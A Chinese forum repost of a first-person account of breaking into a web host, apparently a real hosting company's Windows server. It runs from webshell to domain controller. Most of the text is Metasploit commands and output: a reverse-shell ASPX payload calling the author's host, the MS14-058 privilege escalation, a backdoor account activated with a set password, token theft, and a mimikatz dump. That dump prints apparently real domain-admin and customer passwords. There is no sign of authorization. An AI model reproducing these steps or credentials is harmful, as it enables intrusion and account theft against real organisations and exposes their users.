安全矩阵

 找回密码
 立即注册
搜索
查看: 2021|回复: 0

记一次MS14-058到域控实战记录

[复制链接]

30

主题

60

帖子

447

积分

中级会员

Rank: 3Rank: 3

积分
447
发表于 2021-4-21 20:19:00 | 显示全部楼层 |阅读模式
记一次MS14-058到域控实战记录
原创  3had0w   潇湘信安
声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

0x01 前言
Date/time:2014年,这个网站权限是朋友给我的,叫帮忙给看下提权,没去细看他是通过什么漏洞拿到的这个网站权限。在拿到权限以后大致看了下:
wscript.shell组件没被禁用,可直接执行系统命令,支持Aspx脚本,系统补丁658+,不允许跨站,搜集到的目标基本信息如下。
基本信息探测:
  1. 端口开放:21、80、135、443、445、3306、3392
  2. 补丁情况:658+补丁( Win2003 32位系统 )
  3. 脚本探测:支持Asp,Aspx脚本,不支持Php脚本
  4. 磁盘权限:C,D盘部分文件夹有可读/写权限(不允许跨站)
复制代码


注:除了MySQL没有其他可利用第三方软件,因为安全权限设置的原因也不能跨到MySQL目录,所以暂时无法利用MySQL UDF进行提权。

0x02 实战测试过程
补丁打了600+,明知道成功机率不大,但还是硬着头皮把常用的和以前测试成功过的提权EXP全传上去试了个遍,有一部分提权EXP还没来得及整理编号。
  1. pr.exe,Churrasco.exe,2003.exe,NDProxy.exe,iis6.exe,MS11-046.exe,MS10-048.exe,MS11-080.exe,MS13-051.exe,debug.exe
复制代码

除了最后测试的MS14-058.exe成功,其它全都失败了,虽然MS14-058成功利用,但是在测试中发现只能执行whoami,其它命令或者.bat、.vbs等文件在执行后都没有回显。


正是因为如此,我们不得不尝试使用Metasploit进行提权,否则还真没有什么提权思路了。生成个攻击载荷(Msf基础知识在前面已经讲了很多了,不再重复讲了),反弹得到Meterpreter会话。
  1. root@c2unix:~# msfpayload windows/meterpreter/reverse_tcp LHOST=1x3.2x1.x0.1x8 LPORT=443 R | msfencode -t aspx -o /media/sf_Temp/test.aspx
复制代码
  1. root@c2unix:~# msfconsole -q
  2. msf > use exploit/multi/handler
  3. msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
  4. msf exploit(handler) > set lhost 192.168.1.10
  5. msf exploit(handler) > set lport 443
  6. msf exploit(handler) > exploit

  7. [*] Started reverse handler on 192.168.1.10:443
  8. [*] Starting the payload handler...
  9. [*] Sending stage (770048 bytes) to 216.**.***.9
  10. [*] Meterpreter session 1 opened (192.168.1.10:443 -> 216.**.***.9:2159) at 2014-12-29 04:11:44 +0800
复制代码


查看当前会话权限、系统信息,尝试使用getsystem提权,没有成功,将当前会话放置后台运行,继续加载ms14_058_track_popup_menu提权模块进行测试。
  1. meterpreter > getuid
  2. Server username: TRESSA\IWPD_194(lobom0)
  3. meterpreter > getsystem
  4. [-] priv_elevate_getsystem: Operation failed: Access is denied.
  5. meterpreter > sysinfo
  6. Computer        : TRESSA
  7. OS              : Windows .NET Server (Build 3790, Service Pack 2).
  8. Architecture    : x86
  9. System Language : en_US
  10. Meterpreter     : x86/win32
  11. meterpreter > background
  12. [*] Backgrounding session 1...
复制代码
  1. msf exploit(handler) > use exploit/windows/local/ms14_058_track_popup_menu
  2. msf exploit(ms14_058_track_popup_menu) > set payload windows/meterpreter/reverse_tcp
  3. msf exploit(ms14_058_track_popup_menu) > set lhost 1x3.2x1.x0.1x8
  4. msf exploit(ms14_058_track_popup_menu) > set lport 443
  5. msf exploit(ms14_058_track_popup_menu) > set session 1
  6. msf exploit(ms14_058_track_popup_menu) > exploit

  7. [-] Handler failed to bind to 1x3.2x1.x0.1x8:443
  8. [*] Started reverse handler on 0.0.0.0:443
  9. [*] Launching notepad to host the exploit...
  10. [+] Process 84492 launched.
  11. [*] Reflectively injecting the exploit DLL into 84492...
  12. [*] Injecting exploit into 84492...
  13. [*] Exploit injected. Injecting payload into 84492...
  14. [*] Payload injected. Executing exploit...
  15. [*] Sending stage (770048 bytes) to 216.**.***.9
  16. [+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
  17. [*] Meterpreter session 2 opened (192.168.1.10:443 -> 216.**.***.9:3037) at 2014-12-29 04:16:29 +0800
复制代码




注:如果该提权模块显示利用成功,但并没有得到Metpreter会话,这可能是因为目标服务器上安装了诸如安全狗、麦咖啡或者什么其它的安全防护软件,以前多次遇到过这种情况,缺图。
  1. msf exploit(ms14_058_track_popup_menu) > exploit

  2. [-] Handler failed to bind to 1x3.2x1.x0.1x8:443
  3. [*] Started reverse handler on 0.0.0.0:443
  4. [*] Launching notepad to host the exploit...
  5. [+] Process 84492 launched.
  6. [*] Reflectively injecting the exploit DLL into 84492...
  7. [*] Injecting exploit into 84492...
  8. [*] Exploit injected. Injecting payload into 84492...
  9. [*] Payload injected. Executing exploit...
  10. [+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
  11. [*] Exploit completed, but no session was created
复制代码
再次通过getuid命令查询当前权限时发现已经是“NT AUTHORITY\SYSTEM”权限了,然后将当前会话进程迁移至PID为2796进程中,缺图。
  1. meterpreter > getuid
  2. Server username: NT AUTHORITY\SYSTEM
  3. meterpreter > ps
  4. PID    PPID   Name                   Arch  Session     User                       Path
  5. ---    ----   ----                   ----  -------     ----                       ----
  6. ...
  7. 2796   580    searchindexer.exe      x86   0           NT AUTHORITY\SYSTEM        C:\WINDOWS\system32\SearchIndexer.exe
  8. 67360  40764  notepad.exe            x86   0           NT AUTHORITY\SYSTEM        C:\WINDOWS\system32\notepad.exe
  9. ...

  10. meterpreter > migrate 2796
  11. [*] Migrating from 67360 to 2796...
  12. [*] Migration completed successfully.
复制代码
使用ipconfig命令查看当前目标主机上的IP信息时发现有两张网卡,一个是172.16.19.152内网的,一个是多IP(216.**.***.9/64.**.***.229/209.200.***.***)公网的,缺图。
  1. meterpreter > ipconfig

  2. Interface  1
  3. ============
  4. Name         : MS TCP Loopback interface
  5. Hardware MAC : 00:00:00:00:00:00
  6. MTU          : 1520
  7. IPv4 Address : 127.0.0.1

  8. Interface 65539
  9. ============
  10. Name         : Broadcom BCM5709C NetXtreme II GigE (NDIS VBD Client) #2 - Packet Scheduler Miniport
  11. Hardware MAC : 84:2b:2b:6b:45:11
  12. MTU          : 1500
  13. IPv4 Address : 172.16.19.152
  14. IPv4 Netmask : 255.255.252.0

  15. Interface 65540
  16. ============
  17. Name         : Broadcom BCM5709C NetXtreme II GigE (NDIS VBD Client) #3 - Packet Scheduler Miniport
  18. Hardware MAC : 84:2b:2b:6b:45:0f
  19. MTU          : 1500
  20. IPv4 Address : 216.***.***.9
  21. IPv4 Netmask : 255.255.255.0
  22. IPv4 Address : 64.**.***.229
  23. IPv4 Netmask : 255.255.255.0
  24. IPv4 Address : 209.200.***.***
  25. IPv4 Netmask : 255.255.255.0
  26. IPv4 Address : 209.200.***.***
  27. IPv4 Netmask : 255.255.255.0
  28. IPv4 Address : 209.200.***.***
  29. IPv4 Netmask : 255.255.255.0
  30. IPv4 Address : 216.**.***.113
  31. IPv4 Netmask : 255.255.255.0
  32. IPv4 Address : 209.200.***.***
  33. IPv4 Netmask : 255.255.255.0
  34. IPv4 Address : 209.200.***.***
  35. IPv4 Netmask : 255.255.255.0
复制代码
这里我们先用Metasploit中的enable_support_account模块在系统中留一个后门帐户,也可以用hashdump、mimikatz等命令获取目标主机的哈希和明文密码,缺图。
  • User:SUPPORT_388945a0
  • Pass:7a57a5a743894a0e


  1. msf exploit(ms14_058_track_popup_menu) > use post/windows/manage/enable_support_account
  2. msf post(enable_support_account) > set password 7a57a5a743894a0e
  3. msf post(enable_support_account) > set session 2
  4. msf post(enable_support_account) > exploit
  5. [*] Target OS is Windows .NET Server (Build 3790, Service Pack 2).
  6. [*] Harvesting users...
  7. [+] Found SUPPORT_388945a0 account!
  8. [*] Target RID is 1004
  9. [*] Account is disabled, activating...
  10. [*] Swapping RIDs...!
  11. [*] Setting password to 7a57a5a743894a0e
  12. [*] Post module execution completed
复制代码
用于远程桌面连接的3389端口被管理员修改过了,根据经验猜测3392应该是修改后的端口号,在远程连接界面看到存在域,说明这台机器在HOSTING域内。

Webshell执行域信息搜集相关命令时会提示:System error 5 has occurred . Access is denied . 。访问被拒绝,权限问题。
  1. ipconfig /all              //网卡配置信息,所属域以及IP段
  2. ping backbox               //显示该机器名的IP
  3. net view                   //显示当前域中的计算机列表
  4. net view /domain           //查看有多少个域
  5. net user /domain           //获取所有域用户列表
  6. net group /domain                     //获取域用户组信息
  7. net group "domain admins" /domain     //获取当前域管理员
  8. net time /domain                      //域服务器一般也做时间服务器
  9. dsquery server                        //查看域控服务器
  10. dsquery subnet                        //查看域IP地址范围
复制代码



因为meterpreter会话2里已经是SYSTEM权限了,所以可以用shell命令进入DOS命令行下执行以下命令搜集域信息,缺图。
  1. msf post(enable_support_account) > sessions -i 2
  2. [*] Starting interaction with 2...

  3. meterpreter > shell
  4. Process 13204 created.
  5. Channel 2 created.
  6. Microsoft Windows [Version 5.2.3790]
  7. (C) Copyright 1985-2003 Microsoft Corp.

  8. c:\windows\system32\inetsrv>net group "domain admins" /domain
  9. net group "domain admins" /domain
  10. The request will be processed at a domain controller for domain hosting.lunarpages.com.

  11. Group name     Domain Admins
  12. Comment        Designated administrators of the domain

  13. Members
  14. -------------------------------------------------------------------------------
  15. _new_win_user            abbas.khan               akumar
  16. alexb                    alext                    brianl
  17. dgreathouse              dimitriosk               epak
  18. gcager                   gudiyak                  iismon
  19. Jassi                    jayraju                  jmickle
  20. lunarscripts             mike                     mwaqas
  21. richardd                 robotdoggy               rodb
  22. Tsinternetuser           vartamonov               vlaszlo
  23. zafril
  24. The command completed successfully.
复制代码

使用dsquery server命令查询域控制器中有一个PHART,在域信息搜集时也发现HOSTING域内有一台计算机名为PHART的机器,所以这台机器应该是域控服务器,对应的IP地址为:172.16.17.208。
  1. c:\windows\system32\inetsrv>dsquery server
  2. "CN=THART,CN=Servers,CN=Sandiego,CN=Sites,CN=Configuration,DC=hosting,DC=lunarpages,DC=com"
  3. "CN=PHART,CN=Servers,CN=Sandiego,CN=Sites,CN=Configuration,DC=hosting,DC=lunarpages,DC=com"
复制代码
====== Domain:HOSTING(域内机器)======
  1. \\ARCTURUS = [172.16.17.176]
  2. \\BASH = [172.16.17.197]
  3. \\BLAMO = [172.16.17.112]
  4. \\CASTOR = [172.16.19.62]
  5. \\CELANEO = [172.16.17.221]
  6. \\CEPHEI = [172.16.17.177]
  7. \\INDUS = [172.16.18.30]
  8. \\KENDAL-NEW = [172.16.16.55]
  9. \\KRAZ = [216.***.***.207]
  10. \\PHART = [172.16.17.208]
  11. \\RAPTOR = [172.16.17.199]
  12. \\REGOR = [216.***.***.206]
  13. \\ROCKET = [172.16.16.120]
  14. \\SM-MAIL2-N14 = [172.16.19.129]
  15. \\SMARTERMAIL1 = [172.16.16.129]
  16. \\TRESSA = [216.**.***.9]
  17. \\TUB = [172.16.19.72]
  18. \\VOGA = [67.***.***.33]
  19. \\VPSSQL12 = [172.16.18.169]
  20. \\YED = [216.***.***.203]
复制代码

加载incognito扩展,它可以用来盗窃目标主机令牌和假冒用户,列出目标主机可用令牌,可以看到有2个域管帐号:HOSTING\dimitriosk,HOSTING\richardd。
  1. meterpreter > use incognito
  2. iLoading extension incognito...success.
  3. meterpreter > list_tokens -u

  4. Delegation Tokens Available
  5. ========================================
  6. NT AUTHORITY\LOCAL SERVICE
  7. NT AUTHORITY\NETWORK SERVICE
  8. NT AUTHORITY\SYSTEM
  9. TRESSA\codeb7
  10. TRESSA\IWAM_plesk(default)
  11. TRESSA\IWPC_10(techb7)
  12. TRESSA\IWPC_112(techn56)
  13. TRESSA\IWPC_120(csbelts2)
  14. ......
  15. Impersonation Tokens Available
  16. ========================================
  17. HOSTING\dimitriosk
  18. HOSTING\richardd
  19. NT AUTHORITY\ANONYMOUS LOGON
  20. TRESSA\IUSR_baffledcomics23
  21. TRESSA\IUSR_bridgca
  22. TRESSA\IUSR_canva4
  23. TRESSA\IUSR_cellu12
  24. ......
复制代码


接着我们使用mimikatz法国神器直接就能获取到了这2个域管帐号的明文密码,缺图。
  1. meterpreter > wdigest
  2. [+] Running as SYSTEM
  3. [*] Retrieving wdigest credentials
  4. wdigest credentials
  5. ===================

  6. AuthID      Package    Domain        User                  Password
  7. ------      -------    ------        ----                  --------
  8. 0;997       Negotiate  NT AUTHORITY  LOCAL SERVICE
  9. 0;54487     NTLM
  10. 0;141544    NTLM       TRESSA        IWPD_323(jielu0)      1pDH4
  11. 0;146820    NTLM       TRESSA        IWPD_276(codeb7)      2FRj#
  12. 0;150429    NTLM       TRESSA        psaadm                2a 00 6d 00 48 00 6a 00 40 bc
  13. 0;146362    NTLM       TRESSA        IWPD_73(birch11)      2a)hx
  14. 0;145281    NTLM       TRESSA        IWPD_404(apsns0)      2i!@!
  15. 0;999       Negotiate  HOSTING       TRESSA$               37 9f 4f db ad 52 cf a4 1b 0e f7 c0 33 ad 6c 6a f9 5a 21 aa 57 e3 33 42 b7 2a b3 52
  16. 0;996       Negotiate  NT AUTHORITY  NETWORK SERVICE       37 9f 4f db ad 52 cf a4 1b 0e f7 c0 33 ad 6c 6a f9 5a 21 aa 57 e3 33 42 b7 2a b3 52
  17. 0;143168    NTLM       TRESSA        IWPD_130(leopo1)      A^Xku
  18. 0;150476    NTLM       TRESSA        IWPD_390(myp3n0)      AehD8
  19. 0;50614744  Kerberos   HOSTING       richardd              B0unc3d
  20. 0;87605279  Kerberos   HOSTING       richardd              B0unc3d
  21. 0;143575    NTLM       TRESSA        IWPD_231(rmhar0)      BARrc
  22. 0;150196    NTLM       TRESSA        IWPC_184(e2esoft0)    C9rFi
  23. 0;1669440   NTLM       TRESSA        Plesk Administrator   HOB.5Sd3X88C610rxYL/06.U0UbihUoU
  24. 0;148004    NTLM       TRESSA        IWPD_413(manuf5)      I1)cd
  25. 0;147957    NTLM       TRESSA        IWPD_375(cellu12)     I6oS)
  26. 0;63839802  Kerberos   HOSTING       dimitriosk            TsAk1553!@#
  27. 0;56964817  Kerberos   HOSTING       dimitriosk            TsAk1553!@#
  28. 0;143880    NTLM       TRESSA        IWPD_179(ringb2)      U&RQo
  29. 0;144397    NTLM       TRESSA        IWPD_427(temp02)      Uj$Da
  30. 0;49263709  NTLM       TRESSA        SvcCWRSYNC            XgXS0fJkki1120
  31. 0;49609545  NTLM       TRESSA        SvcCWRSYNC            XgXS0fJkki1120
  32. 0;147191    NTLM       TRESSA        IWPD_334(egorov0)     agA+L
  33. 0;147850    NTLM       TRESSA        IWPD_399(smash11)     btj#c
  34. 0;82470376  NTLM       TRESSA        codeb7                codebroker1
  35. 0;145375    NTLM       TRESSA        IWPD_48(obser14)      d(nlK
  36. 0;144068    NTLM       TRESSA        IWPD_302(donas0)      d-1!j
  37. 0;56760168  NTLM       TRESSA        robotdoggy            xhn?O8kx!K
  38. 0;87616530  NTLM       TRESSA        robotdoggy            xhn?O8kx!K
  39. 0;149472    NTLM       TRESSA        IWPD_290(expos12)     xula)
  40. 0;147761    NTLM       TRESSA        IWPD_417(marig4)      yy=^(
  41. ......
复制代码


域控服务器的IP地址、帐号密码都到手了,接下来就是使用meterpreter的portfwd命令进行端口转发并连接进入域控服务器就行了,域控服务器的远程桌面连接端口也改为了3392。


这里笔者在测试时是可以成功登录到域控服务器及域控下的所有机器,这里就不再截图了。
  1. meterpreter > portfwd add -l 1234 -r 172.16.17.208 -p 3392
  2. [*] Local TCP relay created: 0.0.0.0:1234 <-> 172.16.17.208:3392

  3. meterpreter > portfwd delete -l 1234        //删除
复制代码

0x03 一处问题测试

原笔者想直接通过Metasploit下的exploit/windows/smb/psexec模块使用其中一个域管理员进行批量登录测试的,但是在测试过程中发现总是会出现 以下报错信息。
  1. msf exploit(psexec) > exploit

  2. [*] Started reverse handler on 192.168.1.10:443
  3. [*] Connecting to the server...
  4. [-] Exploit failed [unreachable]: Rex::ConnectionTimeout The connection timed out (172.16.17.208:445).
复制代码
​​
通过在本地2008虚拟机中测试发现,开启Windows防火墙时使用psexec模块返回的就是这个报错。用DOS命令(net stop "Windows Firewall")停止防火墙服务依旧提示一样的报错,但将Windows防火墙关闭后即可成功得到会话,重新启用防火墙后又会断开会话 ~.~ 。
  1. msf exploit(handler) > use exploit/windows/smb/psexec
  2. msf exploit(psexec) > set payload windows/meterpreter/bind_tcp
  3. msf exploit(psexec) > set SMBUSER administrator
  4. msf exploit(psexec) > set SMBPASS windows****!@#123
  5. msf exploit(psexec) > set RHOST 192.168.1.9
  6. msf exploit(psexec) > set LPORT 4444
  7. msf exploit(psexec) > exploit

  8. [*] Started bind handler
  9. [*] Connecting to the server...
  10. [*] Authenticating to 192.168.1.9:445|WORKGROUP as user 'administrator'...
  11. [*] Uploading payload...
  12. [*] Created \TFPRuonH.exe...
  13. [+] 192.168.1.9:445 - Service started successfully...
  14. [*] Deleting \TFPRuonH.exe...
  15. [*] Sending stage (770048 bytes) to 192.168.1.9
  16. [*] Meterpreter session 6 opened (192.168.1.10:60880 -> 192.168.1.9:4444) at 2014-12-29 20:12:56 +0800
复制代码








回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-21 03:26 , Processed in 0.016226 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表